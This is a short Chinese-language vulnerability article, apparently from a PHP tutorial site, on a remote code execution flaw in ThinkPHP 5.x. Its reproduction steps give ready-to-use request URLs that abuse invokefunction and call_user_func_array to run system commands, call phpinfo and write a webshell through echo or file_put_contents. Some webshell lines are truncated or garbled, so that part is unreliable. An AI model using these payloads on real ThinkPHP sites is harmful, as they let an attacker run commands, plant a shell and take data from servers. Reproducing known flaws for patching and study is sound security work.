漏洞概況
ThinkPHP是國內流行的開源PHP框架,近日被爆出存在可能的遠端程式碼執行漏洞,攻擊者可向快取檔案內寫入PHP程式碼,導致遠端程式碼執行。
雖然該漏洞利用需要有幾個前提條件,但鑑於國內使用ThinkPHP框架的站點數量之多,該漏洞還是存在一定的影響範圍。由於框架對控制器名稱沒有進行足夠的偵測會導致在沒有開啟強制路由的情況下可能的getshell漏洞。
漏洞危害
攻擊者可透過此漏洞取得網站的控制權限,可修改頁面,導致資料外洩等問題。
影響版本
5.x
復現環境
thinkphp5.1 phpstudy整合環境(php5.6n apache mysql)
復現流程
1、如圖所示先搭建好環境
2、利用system函數遠端指令執行:
http://localhost/thinkphp5.1/html/public/index.php ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
#3、透過phpinfo函數寫出phpinfoinfo ()的資訊:
http://localhost/thinkphp5.1/html/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[ 1][]=1
4、寫入shell:
http://localhost/thinkphp5.1/html /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^ >shell.php
或
#http://localhost/thinkphp5.1/html/public/index.php? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=
#>
推薦教學:《TP5
》###以上是thinkphp遠端執行指令漏洞的詳細內容。更多資訊請關注PHP中文網其他相關文章!